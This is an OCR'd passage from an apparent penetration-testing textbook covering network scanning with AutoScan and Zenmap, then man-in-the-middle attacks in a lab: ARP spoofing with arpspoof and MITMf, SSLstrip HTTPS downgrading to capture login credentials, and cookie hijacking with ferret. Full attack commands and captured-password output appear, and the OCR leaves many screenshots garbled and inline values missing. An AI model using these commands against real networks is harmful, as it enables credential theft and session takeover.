:00:27:04:18: 0! 60 PCS Systemtechnik GmbH

As we said, it's the quickest way, and we can see in the preceding
screenshot that we have four devices connected to the network. We
have their and we have the . That's about it. The method was very
quick, and it just shows simple information.

The AutoScan tool

AutoScan is another program that can be used to discover computers
or clients connected to the same network. It's not as fast as
netdiscover, but it has a graphical interface, so it's easier to use, and
it actually displays more detailed information about the discovered
clients. Let's go to the Kali machine and download the Linux version
of AutoScan from

. The problem with the latest version (version 1.5) is that it has a bug,
so it doesn't work very well. So, what we are going to do is download
an older version, which is 1.42. If we go to Files | Downloads, we will
see the file. Let's extract that file by right-clicking on it and clicking on
Extract Here from the drop-down menu. This will bring up the
installer.

We will run this installer in the Terminal, but before we do that, there
is a library that AutoScan uses that we need to install. This library is
only available to computers that have a 32-bit architecture, and
consequently 32-bit processors, so we need to add that architecture
first and then install the library. The first command we're going to
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enter is for adding 32-bit compatibility to our 64-bit computer. If your
computer is already 32-bit, then you don't need to run the command,
but if it's a 64- bit computer, then you need to run the command. We
are just going to launch the command. Now, we need to update the
sources. To do this, we enter . Now, we are going to install the library
that AutoScan needs, called . Run the

command and say when it asks if you want to continue. Later, it will
ask us to restart the services as configurations are made say when it
does. OK, now it should be all installed. Now that we have installed
the library that AutoScan needs, all we need to do is just install
AutoScan itself.

As you might recall, AutoScan was downloaded in the folder. We're
going to navigate to the folder by running . Then, if we list the files in
using , we will see that we have the AutoScan installer itself written in
green:

r~/Downloads# 1s
autoscan-network-1.42-Linux-x86-Install

evilgrade

evilgrade-installation-commands-updated.txt

To run the installer, we're going to write and then write the name of
the installer that is, and hit Enter:
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autoscan-network Setup e 0

Welcome to the InstallJammer Wizard for
autoscan-network

This will install avtoscan-netwark version 1.42 on your
computer.

Itis recommended that you close all other applications
before continuing.

Click Meut to continue or Cancel to exit Setup.

| : Mest = | | Cancel |
It will ask us to click Next if we wish to continue installing AutoScan.

Once we've confirmed our choice, it will ask us where we want to
install it. We are going to keep it in the default place, which is :
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autoscan-network Setup e 0

Start Copyling Flles i

Review settings before copying files

Click Mext to begin copying files.

Install Directory: [+]
foptiAutoScan

= Back Mext = Cancel

Now, the program should be fully installed. If we go to the desktop,
we will see that we now have a launcher on the desktop. Also, if we
go to Show Applications and look for AutoScan, we will see that we
have two files; the uninstaller and AutoScan itself: We are now going
to run AutoScan. We can use it to discover clients that are connected
to the same network as us. The AutoScan Wizard (as shown in the
following screenshot) will actually help us start the scan and see the
results:

We will just click on Forward. Next, it will ask us to name the network
we're just going to keep it as Local network, and then click Forward:
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Wizard o

Network

® New

Mame I Local network

b Options

[D Restore
|| Cpen

Cancel | Back | éEomra rd

Again, it's still going to ask us where the network is. It's our localhost,
so we are keeping it as it is:
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Wizard ()

Where is located the network

® Localhost
-(C) Connect to host
Ip Address | Port |4555
User I Password

Next, we click Forward. Next, AutoScan will show us the available
interfaces. This is really important, because, depending on which
interface we pick, we will discover the devices that are connected to
the same network that this interface is connected to. For example,
wlan0 [192.168.0.3] is an actual wireless card connected to our real
home network, so if we use this interface, we will be able to discover
all the devices that are connected to our Wi-Fi home network
because wlan0 [192.168.0.3] is connected to that network:
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Initialize the Agent

Select the network Interface

idwland [192.168.0.3] v g

Lancell ﬁackl Eumtardl

We are going to click on Forward, and then we're going to click on
Forward one more time. Now, the program is working, and as we can

see in the following screenshot it is already discovering devices in our
network:
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AutoScan Network 1.42
@ B @ K %3 LT annNe
Add a network View Search Settings Motification Intrusion Alert About Exit

Notification | |p Address : 192.168.0.1

192.168.0.1 #3# Unknown ¥ Isd Mac Address : EC:1A:59:5A:E1:46

B 192.168.0.2 1t Unknown i L Network card ; 727
W 192.168.0.3 Agent [-‘ Im Cormbome o Ulebimcnin omnifome o o =
B 192.168.0.4 ## Unknown ## iJSummarv|uJ|ﬁf°ijiJ' AT |Uw|

&% Open TCP Ports - | 0

@ = &
Http MNetBios-ss Microsoft-
n ds

My Metwork List

% Local network| Total: 4 (0/0)%100 |BZR:00o/s5:26Kols 20 R:

Give it some time. First of all, it's going to discover the IPs, then it will
try to gather information about the open ports, the operating system,

and the services used on these open ports.

Once the scan is over, we will be able to see all the devices in our

network, as we can see in the following screenshot:

AutoScan Network 1.42

%Da%w'é%

Add a network View Search Settings Notification Intrusion Alert ‘ Help About

EJ‘E}J

Exit
Ip lsd Ip Address : 192.168.0.1 =
192.168.0.1 : e lsd Mac Address : EC:1A:59:5M:E1:46
B 192.168.0.2 ## Unknown #3# lsd Network card : 727
S 192.168.0.3 Agent l';lm'”---‘-—- BLLE Ry e SO l'ld
B 192.168.0.4 Ht Unknown tHl

BSsummary | linfo| Inventory | & History

§ €3 Open TCP Ports |v|

®

= =

® = &

Http MetBios-ss Microsoft-
n ds

My Metwork List

-'Q‘ Local netwerk Total: 4 (0/0)%6100 = R:0o/sS:00/s 0 o AR
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Clicking on any device will show us more information on the right-
hand tabs. For example, if we click on the router, as shown in the
preceding screenshot, it will get us more information than
netdiscover, as shown in the following screenshot:

Ed Ip Address @ 192.168.0.1

b Mac Address © EC:1A:59:5A:E1:46
ki Metwork card @ 777
< (€ System : Unknow equipment
@) MDS5 IPv4: 3F7AAGBCC1D5278E8E443A3673E188B7
i) This is probably a gateway for the LAN

i Summary | lInfo | jinventory | 5. History

At first, we can see the IP Address and the Mac Address. It's also
telling us that This is probably a gateway of the LAN, so it's
probably not an actual computer, but a router. Now, in the Info tab,
we can see that we have open ports, and that two of the open ports
are a TCP and a UDP port:

ﬂ Alias : nonei

i) TCP port : Open (3/72) Firewalled (0/72)

1) TCP port (Open) : 80-139-445-0-0-0-0-0-0-0-...

L) TCP port (Close) : 10-13-21-23-22-25-53-66-67-88-...
i) TCP port (firewall) : 0-0-0-0-0-0-0-0-0-0-...

i) UDP port (open|filtered) : 1900-5353-0-0-0-0-0-0-0-0-...

[« | O
1JSsummary Lulnm|' “Inventory | ./ History

As we can see, the tool is easier to use and shows us more
information than netdiscover, but it takes a longer time to actually
scan the network and discover the information. In the next section,
we'll have a look at Zenmap, which will show us more detailed
information about the clients that are connected to our network.
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Zenmap

The third program that we're going to look at is Network Mapper
(Nmap). Nmap is a network discovery tool that can be used to gather
information on just about any device. With it, we can gather
information about any client that is within our network, we can
discover clients that are within our network, we can gather
information about clients that are outside our network, and we can
gather information about clients just by knowing their IP. We can even
can enter their IP and then gather information on them. Nmap is a
huge tool, and has many uses. It can be used to bypass firewalls, as
well as all kinds of protection and security measures. There are entire
books and courses on how to use Nmap. In this section, we're only
going to have a quick look at Nmap, and learn some of the basic
Nmap commands that can be used to discover clients that are
connected to our network, and also discover the open ports on these
clients.

We're going use Zenmap, which is the graphical user interface for
Nmap. If we just type on the Terminal, we will bring up the application:

Zenmap e & O

Scan Tools [Profile 1lelp

Target: v | Profile: |Intense scan v Scan |

Command: |[nmap -T4 -A -v

Hosts | Services Nmap Output ' Ports / Hosts  Topology Host Details Scans

0s Host v

Filter Hosts

In the Target field, we are going to put our IP address. If there is only
one IP address that we want to gather information on, we can just
enter that address, or we can enter a range, like we did with
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netdiscover. For this exercise, we will be entering . In the Profile
drop-down menu, we can have various profiles:

Profile: |Intense scan
Intense scan
Intense scan plus UDP
- Intense scan, all TCP ports
Intense scan, no ping
Ping scan
Quick scan
Quick scan plus
Quick traceroute
Reqular scan

Slow comprehensive scan

We can put a custom command in the Command option if we want,
or we can use one of the ready-made profiles in the Profile drop-
down menu. Let's look at these ready-made profiles. First, we'll look
at the Ping scan profile first. Select Ping scan from the Profile drop-
down menu and hit the Scan button:
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Zenmap e ® 0
Scan Tools Profile Help

Target: | 10.0.2.1/24 ¥ | Profile: |Pingscan v | |Scan|

Command: |nmap -sn 10.0.2.1/24

I Hosls | Services | Nmap Output | Ports / Hosts  Topology Host Details Scans
nmap -sn 10.0.2.1/24 < Details

L

05 Host v

Starting Nmap 7.76 ( hilps://nmap.org ) al 2018-87-13 02:28 EDT

Nmap scan report for 10.8.2.1

¥ 10022 Host is up (0.000645 latency).

10023 MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 19.9.2.2

W 10025 Host is up (0.88039s latency).

W 100215 MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan recport for 10.0.2.3

Host is up (©.88059s latency).

MAC Address: 08:00:27:77:49:88 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.8.2.5

Host is up (0.08064s latency).

MAC Address: G8:008:27:84:18:04 (Dracle VirtualBox virtual NIC)
Nmap scan report for 10.8.2.15

Host is up.

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.28 seconds

The preceding scan is kind of a quick scan, but it doesn't show too
much information, as we can see in the preceding screenshot. It only
shows the connected devices. As we can see, we have the
connected devices on the left-hand panel, and we have their IP
addresses, their MAC addresses, and their vendors. Sometimes in
netdiscover, we are not able to see the manufacturer of the device.
Sometimes this information is also hidden from AutoScan. However,
we can see the manufacturer with Nmap, as seen in the preceding
screenshot. We are also able to know that the is a VirtualBox virtual
NIC device. This is a virtual wireless card, as we are performing
scans in our wired lab. In the case of wireless scans, it will display the
manufacturers of the router or device, and we can go ahead and look
for exploits in those devices. Again, the Ping scan was very quick.
We were able to find out the manufacturers, the IP addresses, and
the MAC addresses of the connected clients. The next scan we're
going to have a look at is the Quick scan. Now, the Quick scan is
going to be slightly slower than the Ping scan, but we will get more
information than the Ping scan; we're going to be able to identify the
open ports on each device:
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Scan Tocls Profile Help

Targer: [10.0.2.1/24 | v Profile: |Guick scan

Command: |nmap -T4 -F 10.0.2.1/24

m Smh:ﬁj Nmap Output | Ports / Hosts  Topology | Host Detalls | Scans |

05 Host v |mmap-T4-F10.02.1724

Nmap scan report for 10.9.2.1
Host is up (0.88014s5 latency).

W 10022 Mot shown: 99 closed ports
W 10023 PORT  STATE SERVICE
53/tcp open domain
W 10024 MAC Address: 52:54:60:12:35:00 (QEMU virtual NIC)
W 10025 -
N 0.0.2.
W 100215 map scan report for 10.8.2.2

Host is up (1.8s latency).
Mot shown: 91 closed ports
PORT STATE SERVICE
135/tcp Open msrpc

445/tep  open microsoft-ds
3389/tcp open ms-wbit-server
5357/tep open wsdapi
5432/tcp open postgresqgl
49152/tcp open  unknown
49153/tcp open unknown
49154/tcp open  unknown
49155/tcp open unknown

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 16.8.2.3
Host is up (9.988515 latency).
ALl 188 scanned ports on 10.6.2.3 are filtered
i BB:B0:27:77:49:88 (Oracle virtualBox virtual MIC)

Nmap scan report for 10.9.2.4
Host is up (98.00017s latency).
Het shown: B2 closed ports
PORT STATE SERVICE

21/tcp  open fip

22/tcp  open ssh

23/tcp  open telnet

25/ tcp open smtp

53/tcp  open domain

88/tcp open http
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As we can see in the preceding screenshot, the main router has an
open port called 53/tcp.

Now, let's have a look at the Quick scan plus, which will take the
Quick scan one step further. It's going to be slower than the Quick
scan, but it will show us the programs that are running on the opened
ports. So, in the Quick scan we saw that, for example, port is open,
but we didn't know what was running on port , and we saw that

port was running, but we didn't know what was running. We knew it
was SSH, but we don't know what SSH server was running on that
port.

So again, this will take longer than the Quick scan. This scan is
slower than all the previous scans that we talked about, but we can
see that it gathers much more information, as shown in the following
screenshot:
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Zenmap

Scan Tools Profile Help

Target |10.0.2.1/24

[ =] Profile: |Ouldu:lnplu1

Command: |nmap -5V -T4 -0 -F --version-light 10.0.2.1/24

| Nmap Qutput | Parts / Hosts - Topolagy Host Detalls  Scans

L 10022
W 10.0.23
M 10024
-4 100325
W 100215

e [Cancel

| map -5V -T4 -0 -F --version-light 10.0.2.1/24

'Nmp scan report for 19.6.2.4
‘Host is up (0.000545 latency).

m 82 closed ports
STATE SERVICE VERSION

_21ftcp open ftp vsftpd 2.3.4

| 22/tep open ssh openssH 4.7pl Debian Bubuntul (protocel 2.0)
;23!lcp open telnet Linux telnetd

| 23/tCp open smtp Postfix smtpd

| 53/tcp open domain ISC BIND 9.4.2

| BO/tep  open  http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

{111/tcp open rpcbind

| 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUF)
| 445/tcp open netbios-ssn Samba smbd 3.¥ - 4.X (workgroup: WORKGROUPR)
?513ftcp open login openBsD or Solaris rlogind

| 514/tcp open tcpwrapped

| 2849/tcp open rpchind

| 2121/tep open  ftp ProFTPD 1.3.1

| 3306/tcp open mysgl MySOL 5.08.51la-3ubuntub

| 5432/tcp open postgresql PostgresoL DB 8.3.0 - 6.3.7
| 5588/tcp open wnc VNC (protocol 3.3)

| 6000/tcp open M1l (access denied)

'Sebﬁftcp open  ajpl3 Apache Jserv (Protocol vl1.3)

w BB:80:27:5F:44:0C (Oracle virtualBox virtual NIC)
eneral purpose

.ﬂ.l!.llill!.n.
05 CPE: cpe:so:linux:linux_kernel:2.6
WLinuzzﬁg- 2.6.33

- Network Distance: 1 hop

' Service Info: Host: metasploitable.localdomain; 0Ss: Unix, Linux; CPE: cpe:/a:linux:linux_kernel

?N-an scan report for 10.8.2.%
Host is up (0.00049s latency).
Mot shown: 96 closed ports

PORT  STATE SERVICE VERSION
22/tcp open ssh Open5SH 6.7 (protocol 2.8)
| 135/tcp open msrpc Microsoft Windows RPC

| 139/tcp open neth_los ssn Microsoft wWindows netbios-ssn

LT oo -
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We can see in the preceding screenshot that we have a Linux device
connected. We can see that the operating system of the device is
connected, and that it also got us the version for the programs. Last
time, we only knew that port was open now we know that it's running,
and that the server that's running there is OpenSSH 4.7.

From the information that the Quick scan provided us about our
Linux device, we were able to identify port , and could tell that the
port was open. We knew that HTTP was running on this, obviously,
but we didn't know what version of the server was running on it. Now
we know that it was Apache HTTP server 2.2.8 and that it was a
Linux device. So again, this is very accurate. We can go ahead and
look for exploits and vulnerabilities. This is just an example of how
useful it is to gather information. Even if this didn't work, we could go
ahead and look for exploits for these programs and we will manage to
gain access to this network. So, gathering information is a huge step
in penetration testing. Zenmap, or Nmap, is a huge tool that we can
use to carry out many types of scans. We can experiment with these
ready-made profiles to see what they can do.

Summary

In this chapter, we have covered all the possible techniques that we
can use to break through network and gather important pieces of
information about the clients on the network. This will help us to
launch attacks on the target system. For this purpose, we learned
about three different tools netdiscover, AutoScan, and Zenmap. All
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these tools have unique features that make them efficient in gathering
information about targets.

In the next chapter, we are going to learn about various man-in-the-
middle attacks. We will also be learning about the Wireshark tool.
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8

Man-in-the-Middle Attacks

In the previous chapter, we covered the ways we can gather
information and analyze it with the help of various tools. In this
chapter, we will learn about the man-in-the-middle framework
(MITM(f), which is a toolkit for one of the most powerful attacks. In
order to implement MITMf we are going to use ARP spoofing,
bypassing HTTPS, and DNS spoofing. We will also use keyloggers,
and look at the code injection technique for MITMf implementation.

Towards the end of the chapter, we will learn about a special tool
called Wireshark, which is very efficient when it comes to analyzing a
network. With it, we can capture packets and learn the information
they carry within them. In this section of the chapter, we are going to
learn how to operate this tool and also how to use a few filters.

In this chapter, we will cover the following topics:
Man-in-the-middle-attacks
Wireshark

Man-in-the middle attacks

In the next few sections, we're going to talk about what are known as
man-in-the-middle (MITM) attacks. This is one of the most
dangerous and effective attacks that we can carry out in a network.
We can only do it once we have connected to the network. It can be
used to redirect the flow of packets from any client to our device. This
means that any packet that is sent to or from the client will have to go
through our device, and since we know the password we know the
key to the network, so we will be able to read those packets. They
won't be encrypted, and we will be able to modify them, drop them, or
just read them to see if they contain passwords or important
information. This attack is so effective because it's very hard to
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protect against. We're going to talk about the ways to protect against
it, but it's very hard to fully protect against this attack. This is due to
the way the ARP protocol works. It was programmed in a way that's
very simple and very effective, but it's not secure enough.

ARP has two main security issues. The first one is that each ARP
request or response is trusted, so whatever our device says to other
devices that are in our network will be trusted. We can just tell any
device that's on our network that we are the router and the device will
trust us. It will not try to make sure that we are actually the router. It
will not run any tests to ensure our identity. If we tell any device that
we are the router, the device will believe us. In the same way, if we
tell the router that we are someone else on the network, the router
will trust us and will start treating us as that device; so, that's the first
security issue. The second security issue is that clients can accept
responses even if they didn't send a request. So, for example, when a
device connects to the network, the first thing it's going to ask is, who
is the router? And then the router will send a response saying "l am
the router." Now, we can just send a response without the device
asking who the router is. We can just tell the device we are the router,
and because the devices trust anyone, they will trust us start sending
us packets instead of sending the packets to the router.

So, let's have a deeper look at how this MITM attack works. It's going
to work using a technique called ARP poisoning, or ARP spoofing.
This is done by exploiting the two security issues that we talked about
in the previous paragraph. That's a typical Wi-Fi network, and we can
see in the following diagram that when the client requests something
it will send the request to the Wi-Fi router, and then the router will
get the request from the internet and come back with the responses
to the Client:
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Now, all this is done using packets. So, what we are going to do is
we're going to send an ARP response to the Client so that we can
send responses without the Client asking them. The Client didn't ask
for anything, but we can still send it a response. We're going to say
that our IP is the router IP. So, the router, for example, has the IP ;
we're going to tell the Client the device with the IP has our MAC
address, so we're going to tell the Client that we are the router,
basically.

This will cause the Client to start sending the packets to us instead of
sending the packets to the router. The following diagram illustrates
this:

& A

Wi-Fi router
000

After that, we're going to do the opposite to the Wi-Fi router. We're
going to tell the router that we are the client. We'll do this by telling
the router that our IP is the Client IP, and that Client has our MAC
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address, so the communication of packets will be done through the
MAC address, and the Wi-Fi router will start sending any packet
that's meant to go to the Client to us instead. This will redirect the
flow of packets through our device, so when the Client wants to send
a request it will send the request to us:

So, for example, as seen in the following screenshot, when the Client
wants to open Google it will send the request to our device instead of
sending it to the Wi-Fi router:

—:\‘\‘.

Z —

Now, our device will go to the Wi-Fi router, it'll get Google, the Wi-Fi
router will send the response to our device instead of the Client, and
then we will send the packet back. So, this means that each packet
that is sent to the Client or from the Client, will have to go through
us. Since it's going through us and we have the key, we can read
these packets, we can modify them, or we can just drop them.

So, that's the basic principle of the MITM attack and ARP poisoning.
Basically, we're going to tell the Client that we are the Wi-Fi router,
and then we're going to tell the router that we are the Client. This will
put us in the middle of the packet flow, between the Client and the
Wi-Fi router, and all the packets will start flowing through our device.
Then we can read the packets, modify them, or drop them.

ARP spoofing using arpspoof
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Now, let's see how to run an actual ARP poisoning attack, redirecting
the flow of packets and making it flow through our device. We're
going to talk about a tool called arpspoof, which is part of a suite
called dsniff. dsniff is a suite that contains a number of programs that
can be used to launch MITM attacks. We're just going to talk about
arpspoof, and we're going to see how to use it to carry out ARP
poisoning, which redirects the flow of packets through our device.
The arpspoof tool is old, but it still works, and because it's so simple
it's been ported to Android, iOS, and other smaller operating systems.
There's a lot of people that actually like to use it to do ARP poisoning,
which is why we're going to show you how to use this tool. In the next
section and all the sections after that, we're going to use a tool called
ettercap. We'll see how we use it and how to do ARP poisoning with
it, but for this section we just want to show how to use arpspoof
because it's going to be used a lot, so we need to know how to use it.
It's very simple, anyway.

So, we are connected now to the target network. Let's see how we
use the tool. It's going to be , to choose our internet card (virtual
card), so it's . Then we're going to put in the target IP address. So,
our target is the Windows device, with its IP, . Then we will put the IP
address for the access point, which is . We will tell the access point
that the client IP address has our MAC address, so basically, we're
going to tell the access point that we are the target client:

"pspoof -i ethe -t 10.0.2.5 10.0.2.1
8:0:27:4:18:4 0806 42: arp reply 10.0.2.1 is-at 8:0:27:b:91:66
P i 806 42: arp reply 10.8.2.1 is- 8:0:27:b:91:66

306 42: arp reply 10.0.2. :0:27:b:91:66

After this, we're going to have to run arpspoof again, and instead of
telling the access point that we the target client, we are going to tell
the client that we are the access point, so we're just going to flip the
IPs:

:~# arpspoof -i etht -t 10.0.2.1 10.0.2.5
7:b:91:66 52:54:0:12:35:0 0806 42: arp reply 10.0.2.5 is-at 8:0:27:b:91:66

2
27:b:91:66 52:54:0:12:35:0 08 2: arp reply 10.0.2. 5 : 7
8:0:27:b:91:66 52:54:0:12:35:0 0806 42: arp reply 10.0.2.5 is-at 8:0:27:b:91:66

So, by running both the preceding commands we're going to fool the
access point and the client, and we're going to let the packets flow
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through our device.

Now, let's see, at the target, Windows is the target device, so we are
going to the ARP table. So, if we just run the command in the
Windows machine, it's going to show us the ARP table. So, we can
see in the following screenshot that the |IP address for the access
point is , and we can see its MAC address is . It's stored in this ARP
table:

Now, once we do the attack, we will see that the MAC address for the
target access point is going to change, and it's going to be the
attacker's MAC address:

C:\Users\IEUser»arp -a

Interface: 18.8.2.5
Internet Address ; Type
6 dynamic
dynamic
dynamic

fl-88-5e-7f-ff-fa
ff-Ff-ff-Fff-ff-Ff

We'll also need to do something called enabling IP forwarding. We do
that so that when the packets flow through our device they don't get
dropped, so that each packet that goes through our device gets
actually forwarded to its destination. So, when we get a packet from
the router it goes to the client, and when a packet comes from the
client it should go to the router without being dropped in our device.
S0, we're going to enable it using this command:

echo 1 > /proc/sys/net/ipv4/ip_forward

The Windows device now thinks the attacker device is the access
point, and every time it tries to to access the internet, or every time it
tries to communicate with the access point, it's going to send these
requests to the attacker device instead of sending it to the actual
access point. This will place our attacker device in the middle of the
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connection, and we will be able to read the packets, modify them, or
drop them.

We're going to see how we do that in the next sections; for now we
just need to know how to do basic ARP poisoning. We're going to
need to do this every time we try to do a MITM attack.

ARP spoofing using MITMf

In this section, and the next few sections, we're going to talk about a
tool called MITMf, and as the name suggests, this tool allows you to
run a number of MITM attacks. So, let's run the tool, see how we use
it, and we're going to do a basic ARP poisoning attack, exactly like we
did in the previous section. We are also going to be using our
Ethernet internal virtual cards instead of the Wi-Fi card, so we can
actually run these attacks against Wi-Fi or wired networks, and we
can do it using your wireless card.

We connect it to the network, to the target network, and then do the
attack like we did with arpspoof, or you can do it using an Ethernet
virtual card.

If we do just to see our interfaces, we'll see that we have the card
connected to the internal network at :

:~# ifconfig
eth@: flags=4163<UP,BROADCAST, RUNNING, MULTICAST> mtu 1580
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inetd feBD::aP@:27ff:Tedb:9166 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:0b:91:66 txgueuelen 1000 (Ethernet)
RX packets 29781 bytes 39741282 (37.9 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 11219 bytes 1171022 (1.1 MiB}
TX errors @ dropped ® overruns @ carrier @ collisions @

lo: fTlags=73<UP,LOOPBACK, RUNNING= mtu 653536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host=
loop txqueuelen 1000 (Local Loopback)
RX packets 42785 bytes 55549817 (52.9 MiB)
RX errors @ dropped @ overruns @ frame @
TX packets 42705 bytes 55549817 (52.9 MiB)
TX errors © dropped @ overruns ® carrier ® collisions ©
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Now, go to the Windows machine and run to see our MAC addresses,
and we can see in the following screenshot that we have the gateway
at , and the MAC address ends with :

C:\Users\IEUser»arp -a

Interface: 18.8.2.5 --- Bx°
Internet Address ic S Type

t
5.8.2.1 . B8 dynamic

dynamic
dynamic

So, we're going to run the ARP poisoning attack and see whether the
MAC address changes and whether we can become the MITM.

To use the tool, the name of which is MITMf, we're going to put the
command first. Then we're going to tell it to do ARP poisoning, then
we're going to give it the gateway (the IP of the router), then we're
going to give it the IP of our target, and then give it the interface. The
command is as follows:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0

If we don't specify a target, it will default to the whole network, to the
whole subnet. The interface is specifying our virtual interface, but we
can specify our wireless card if it's connected to the wireless network.
So, we are just going to hit Enter, and the tool will be running now:
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:~# mitmf --arp --spoof --gateway 10.0.2.1 --target 10.8.2.5 -1 eth®

[*] MLIMT ve.9.8 - 'lThe Dark 5ide’
|_ Spoof vo.6

| ARP spoofing enabled
|
| Sergio-Proxy v@.2.1 online
| SSLstrip v@.9 by Moxie Marlinspike online

| _ Net-Creds v1.0 online

| MITMI-API online

| _ HIIP server online
- Serving Flask app "core.mitmfapi" (lazy loading)
- Environment: production

llse a production WSGT ¢
¢ Debug me off
* Running on http://127.0.0.1:92999/ (Prcss CTRLIC to quit)
| DNSChef v©.4 online
| _ SMB server online

Let's go to the Windows machine, run , and see whether we managed
to become the center of the connection. We can see in the following
screenshot the MAC address has changed from to , and that is the
same MAC address as the virtual interface that we have in Kali, so it
ends up with :
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C:\Users\IEUser»arp -a

c16.8.2.5 --- B@x8
Address Type
dynamic
dynamic
dynamic

se-7f-ff-fa
FF-FF-FF-FF-FF-FF

So, that means we're the MITM at the moment, and the tool
automatically starts a sniffer for us. So instead of arpspoof, which
only places us in the middle, this tool actually starts a sniffer, which
captures the data that is sent by the devices in our network.

We are going to go to a website. Now, first, we are going to go to a
HTTP website and see how to capture a username and a password,
and then we'll see how we can capture passwords from websites that
use HTTPS.

So, on a Windows machine, we are going to go to a website called
Hack.me, and then we are going to go to the login page to log in to an
account while the MITM attack is running, and then we are just going
to use a username and a password. We are going to put the Email
Address as thegeniustuff@gmail.com, and then we are going to use, for
Password, a false password; but we'll just see how we can capture
this password. So, we are going to put

. Now, if we go back to the MITMf console, we will see what we have;
the username has been captured, which is thegeniusstufi@gmail.com, and
the password has been captured, which is :

2018-07-16 05:49:46 10.0.2.5 [type:Firefox-61 os:Windows] POST Data (me.hack.me):

CLA=auth&FUN=loginJson&username=zaid%4@isecurlty.org&password=1234565&token=%3A)

So, basically, we are able to capture any username and any
password that is entered by the computers that we're ARP spoofing.
We can also see all the URLs that the person has requested. So, for
example, we can see that they requested . We can also see the
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URLSs that Hack.me requested. These are only the URLs requested
by the ads that are displayed on the website.

Bypassing HTTPS

In the previous section, we saw how to sniff and capture anything
sent over HTTP requests. Most famous websites use HTTPS instead
of HTTP. This means that when we try to become the MITM, when
the person goes to that website, the website will display a warning
saying that the certificate of that website is invalid. That way, the
person will be suspicious and probably won't log in to that page. So,
what we're going to do is use a tool called SSLstrip, which will
downgrade any HTTPS request to HTTP; so whenever the target
person tries to go to , for example, they'll be redirected to the HTTP of

. Let's go the browser on the target, and we are going to try to go to .
Now, as we can see in the following screenshot, on the top in the
address bar you will see that the website uses HTTPS, so if we try to
become the MITM, this website will display a warning:

= ¢ @ | @ & [ foginiive.com/loginsrtzwa=waignin1.0&psny=138ct=15317354348ver=6./,6640.08wp=MEBI_ v+ @ 1

To bypass the warning, we're going to use a tool called SSLstrip to
downgrade any request to the HTTPS website and get it redirected to
the HTTP version of this website. Once we go to the HTTP version,
sniffing the data will be trivial, exactly like what happened in the
previous section.

We can use SSLstrip manually, but luckily, MITMf starts it
automatically for us. We are actually going to run exactly the same
command that we saw in the previous section. \We are not going to
change anything in it.

If we look at the following screenshot, once we run this program we
will see that it will actually tell us that SSLstrip has been started and
it's online:
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[*] MITMf v©.9.8 - 'The Dark Side'
Spoof v0.6
| ARP spoofing enabled

S 11u Pru»y v0.2.1 online

Met-Creds v1.0 online

MITMT-API online

HTTP server online
* Serving Flask app "core.mitmfapi" (lazy loading)
* Environment: production

|
|
|
|
| ve.9 b;f Moxie Marlinspike online
|
|
|
|

Use a production WSGI server instead.
+* Debug mode: off
* Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
| DNSChef v@.4 online
| SMB server online

So, we are going to go back and we are going to try to go to , and we
will see in the following screenshot that, instead of the HTTPS
version that we're getting here, we're actually going to goto a HTTP
version of hotmail.com. Now, notice the address bar here. There is no
HTTPS, so we're actually at the HTTP version of the website. We will
also notice that we didn't see any warnings, so it just looks like
exactly a normal website, looking exactly like hotmail.com.

So, we are going to put in our email, and again we are going to use a
false password. We are just going to put , and we are going to sign in.
Now, if we go to the Kali machine, we will see that we managed to
capture an email from thegeniustuffi@gmail com, and we also managed to
capture the password, which is :

lo

mt=rEREH LG ERNNSIIY | ogin=2a1d%40hotmay

ginf
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Websites such as Facebook and Google are actually using
something called HSTS, and what that does is this; basically, the
browser comes in with a pre-hardcoded list of websites that have to
be browsed as HTTPS. So, even if we try to downgrade the HTTPS
connection to HTTP, the browser will just refuse to show the website,
or just show a HTTPS version of it. This is because, without
connecting to anything, the browser has a list stored locally on the
local computer saying that it shouldn't open Facebook, Gmail, and
such websites as HTTP. So, whatever way we try to do it, the website
will just refuse to open in HTTP.

Now, MITMf actually has, an HSTS plugin that attempts to bypass
HSTS, but it only works against old browsers. It used to use an old
vulnerability, which is patched now in new browsers. With new
browsers, there is no way of bypassing the HTTPS connection to
Gmail and Facebook at the moment because they use HSTS, which
basically means they come in with a hardcoded list, so the browser
refuses to open these websites as HTTP.

Session hijacking

So far, we've seen how we can capture passwords from any
computer that is on our network, and we've seen how we can even
bypass HTTPS to capture passwords from famous websites that try
to use encryption. What if the target person never actually entered
their password? What if they use the Remember Me feature, so
when they go to the website they already get logged in into that
website? That way, they never enter the password, the password is
never sent to the server, and therefore we'll never be able to capture
the password because it's not even sent. So, let's have a look at that.

So, we are on our target Windows computer. If we go to Dailymotion,
we have already logged in there before and we clicked on the
Remember Me feature. So, if we go to that website, , we will see that
we will already be logged in to our account without having entered
our password. In this case, the users actually get authenticated
based on their cookies. The cookies are stored in the browser, and
every time the person tries to go to the website they will be
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authenticated to the website based on the cookies. What we can do
is sniff out these cookies and inject them into our browser, and
therefore we'll be able to log into the account without entering the
password, exactly the same way that the target person is being
authenticated to their account.

To do that, we're going to use a tool called ferret, and ferret doesn't
come installed with Kali. To install it, we are going to have to run .
Once we have that, first of all we're going to become the MITM using
the same command that we've been using in the previous sections,
using MITMf. Now, we can become the MITM any way we want,
using arpspoof or any other tool.

Once we are the MITM, we're going to use ferret to capture the
cookies. There is a ferret plugin that comes in with MITMf, but we are
going to do it on the command line just to see how the whole process
works together with another tool called hamster. We are going to run
ferret, and running ferret is very simple. All we have to do is just type
in , and then we put our interface, which is in our case. Again, if we
are using our wireless card, then put as the interface the name of our
wireless card. The command is as follows:

ferret -i eth0

Ferret is running now and it's ready to capture cookies. In fact, it's
already capturing cookies:
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s~ i etho
- FERRET 3.0.1 - 2007-2012 (c) Errata Security
- build = 0ct 3 2013 20:11:54 (32-bits)
libpcap.so: libpcap.so: cannot open shared object file: No such file or director
¥
Searching elsewhere for libpcap
Found libpcap
- libpcap version 1.8.1
